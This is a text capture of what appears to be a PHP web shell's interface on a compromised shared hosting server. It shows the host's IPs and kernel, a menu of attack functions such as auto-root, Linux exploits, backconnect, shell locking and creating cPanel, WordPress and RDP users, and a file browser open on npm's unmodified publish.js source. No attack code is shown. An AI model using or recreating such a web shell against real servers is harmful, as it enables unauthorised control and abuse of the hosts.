Linux business72.web-hosting.com 4.18.0-553.lve.el8.x86_64 #1 SMP Mon May 27 15:27:34 UTC 2024 x86_64
LiteSpeed
: 162.0.229.97 | : 3.141.192.115
Cant Read [ /etc/named.conf ]
8.1.30
temmmp
www.github.com/MadExploits
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
CPANEL RESET
CREATE WP USER
README
+ Create Folder
+ Create File
/
opt /
alt /
alt-nodejs16 /
root /
usr /
lib /
node_modules /
npm /
lib /
commands /
[ HOME SHELL ]
Name
Size
Permission
Action
access.js
5.45
KB
-rw-r--r--
adduser.js
2.2
KB
-rw-r--r--
audit.js
11.95
KB
-rw-r--r--
bin.js
729
B
-rw-r--r--
birthday.js
508
B
-rw-r--r--
bugs.js
815
B
-rw-r--r--
cache.js
7.08
KB
-rw-r--r--
ci.js
3.63
KB
-rw-r--r--
completion.js
8.91
KB
-rw-r--r--
config.js
8.11
KB
-rw-r--r--
dedupe.js
1.37
KB
-rw-r--r--
deprecate.js
2.06
KB
-rw-r--r--
diff.js
8.1
KB
-rw-r--r--
dist-tag.js
5.47
KB
-rw-r--r--
docs.js
447
B
-rw-r--r--
doctor.js
9.22
KB
-rw-r--r--
edit.js
2
KB
-rw-r--r--
exec.js
2.44
KB
-rw-r--r--
explain.js
3.55
KB
-rw-r--r--
explore.js
2.33
KB
-rw-r--r--
find-dupes.js
602
B
-rw-r--r--
fund.js
6.37
KB
-rw-r--r--
get.js
524
B
-rw-r--r--
help-search.js
5.62
KB
-rw-r--r--
help.js
4.53
KB
-rw-r--r--
hook.js
3.93
KB
-rw-r--r--
init.js
6.81
KB
-rw-r--r--
install-ci-test.js
377
B
-rw-r--r--
install-test.js
374
B
-rw-r--r--
install.js
5.11
KB
-rw-r--r--
link.js
5.02
KB
-rw-r--r--
ll.js
234
B
-rw-r--r--
logout.js
1.34
KB
-rw-r--r--
ls.js
16.94
KB
-rw-r--r--
org.js
4.2
KB
-rw-r--r--
outdated.js
8.84
KB
-rw-r--r--
owner.js
5.88
KB
-rw-r--r--
pack.js
2.36
KB
-rw-r--r--
ping.js
874
B
-rw-r--r--
pkg.js
3.47
KB
-rw-r--r--
prefix.js
343
B
-rw-r--r--
profile.js
11.25
KB
-rw-r--r--
prune.js
779
B
-rw-r--r--
publish.js
6.33
KB
-rw-r--r--
query.js
2.81
KB
-rw-r--r--
rebuild.js
2.16
KB
-rw-r--r--
repo.js
1.24
KB
-rw-r--r--
restart.js
351
B
-rw-r--r--
root.js
298
B
-rw-r--r--
run-script.js
6.9
KB
-rw-r--r--
search.js
2.72
KB
-rw-r--r--
set-script.js
2.63
KB
-rw-r--r--
set.js
572
B
-rw-r--r--
shrinkwrap.js
2.64
KB
-rw-r--r--
star.js
1.87
KB
-rw-r--r--
stars.js
1.03
KB
-rw-r--r--
start.js
341
B
-rw-r--r--
stop.js
336
B
-rw-r--r--
team.js
4.44
KB
-rw-r--r--
test.js
336
B
-rw-r--r--
token.js
6.79
KB
-rw-r--r--
uninstall.js
1.52
KB
-rw-r--r--
unpublish.js
4.51
KB
-rw-r--r--
unstar.js
182
B
-rw-r--r--
update.js
1.7
KB
-rw-r--r--
version.js
3.6
KB
-rw-r--r--
view.js
14.38
KB
-rw-r--r--
whoami.js
514
B
-rw-r--r--
Delete
Unzip
Zip
${this.title}
Close
Code Editor : publish.js
const util = require('util') const log = require('../utils/log-shim.js') const semver = require('semver') const pack = require('libnpmpack') const libpub = require('libnpmpublish').publish const runScript = require('@npmcli/run-script') const pacote = require('pacote') const npa = require('npm-package-arg') const npmFetch = require('npm-registry-fetch') const replaceInfo = require('../utils/replace-info.js') const otplease = require('../utils/otplease.js') const { getContents, logTar } = require('../utils/tar.js') // for historical reasons, publishConfig in package.json can contain ANY config // keys that npm supports in .npmrc files and elsewhere. We *may* want to // revisit this at some point, and have a minimal set that's a SemVer-major // change that ought to get a RFC written on it. const { flatten } = require('../utils/config/index.js') // this is the only case in the CLI where we want to use the old full slow // 'read-package-json' module, because we want to pull in all the defaults and // metadata, like git sha's and default scripts and all that. const readJson = util.promisify(require('read-package-json')) const BaseCommand = require('../base-command.js') class Publish extends BaseCommand { static description = 'Publish a package' static name = 'publish' static params = [ 'tag', 'access', 'dry-run', 'otp', 'workspace', 'workspaces', 'include-workspace-root', ] static usage = ['<package-spec>'] static ignoreImplicitWorkspace = false async exec (args) { if (args.length === 0) { args = ['.'] } if (args.length !== 1) { throw this.usageError() } log.verbose('publish', replaceInfo(args)) const unicode = this.npm.config.get('unicode') const dryRun = this.npm.config.get('dry-run') const json = this.npm.config.get('json') const defaultTag = this.npm.config.get('tag') const ignoreScripts = this.npm.config.get('ignore-scripts') const { silent } = this.npm if (semver.validRange(defaultTag)) { throw new Error('Tag name must not be a valid SemVer range: ' + defaultTag.trim()) } const opts = { ...this.npm.flatOptions, progress: false } log.disableProgress() // you can publish name@version, ./foo.tgz, etc. // even though the default is the 'file:.' cwd. const spec = npa(args[0]) let manifest = await this.getManifest(spec, opts) // only run scripts for directory type publishes if (spec.type === 'directory' && !ignoreScripts) { await runScript({ event: 'prepublishOnly', path: spec.fetchSpec, stdio: 'inherit', pkg: manifest, banner: !silent, }) } // we pass dryRun: true to libnpmpack so it doesn't write the file to disk const tarballData = await pack(spec, { ...opts, dryRun: true, prefix: this.npm.localPrefix, workspaces: this.workspacePaths, }) const pkgContents = await getContents(manifest, tarballData) // The purpose of re-reading the manifest is in case it changed, // so that we send the latest and greatest thing to the registry // note that publishConfig might have changed as well! manifest = await this.getManifest(spec, opts) // JSON already has the package contents if (!json) { logTar(pkgContents, { unicode }) } const resolved = npa.resolve(manifest.name, manifest.version) const registry = npmFetch.pickRegistry(resolved, opts) const creds = this.npm.config.getCredentialsByURI(registry) const noCreds = !(creds.token || creds.username || creds.certfile && creds.keyfile) const outputRegistry = replaceInfo(registry) if (noCreds) { const msg = `This command requires you to be logged in to ${outputRegistry}` if (dryRun) { log.warn('', `${msg} (dry-run)`) } else { throw Object.assign(new Error(msg), { code: 'ENEEDAUTH' }) } } log.notice('', `Publishing to ${outputRegistry}${dryRun ? ' (dry-run)' : ''}`) if (!dryRun) { await otplease(this.npm, opts, opts => libpub(manifest, tarballData, opts)) } if (spec.type === 'directory' && !ignoreScripts) { await runScript({ event: 'publish', path: spec.fetchSpec, stdio: 'inherit', pkg: manifest, banner: !silent, }) await runScript({ event: 'postpublish', path: spec.fetchSpec, stdio: 'inherit', pkg: manifest, banner: !silent, }) } if (!this.suppressOutput) { if (!silent && json) { this.npm.output(JSON.stringify(pkgContents, null, 2)) } else if (!silent) { this.npm.output(`+ ${pkgContents.id}`) } } return pkgContents } async execWorkspaces (args, filters) { // Suppresses JSON output in publish() so we can handle it here this.suppressOutput = true const results = {} const json = this.npm.config.get('json') const { silent } = this.npm await this.setWorkspaces(filters) for (const [name, workspace] of this.workspaces.entries()) { let pkgContents try { pkgContents = await this.exec([workspace]) } catch (err) { if (err.code === 'EPRIVATE') { log.warn( 'publish', `Skipping workspace ${ this.npm.chalk.green(name) }, marked as ${ this.npm.chalk.bold('private') }` ) continue } throw err } // This needs to be in-line w/ the rest of the output that non-JSON // publish generates if (!silent && !json) { this.npm.output(`+ ${pkgContents.id}`) } else { results[name] = pkgContents } } if (!silent && json) { this.npm.output(JSON.stringify(results, null, 2)) } } // if it's a directory, read it from the file system // otherwise, get the full metadata from whatever it is // XXX can't pacote read the manifest from a directory? async getManifest (spec, opts) { let manifest if (spec.type === 'directory') { manifest = await readJson(`${spec.fetchSpec}/package.json`) } else { manifest = await pacote.manifest(spec, { ...opts, fullmetadata: true, fullReadJson: true, }) } if (manifest.publishConfig) { flatten(manifest.publishConfig, opts) } return manifest } } module.exports = Publish
Close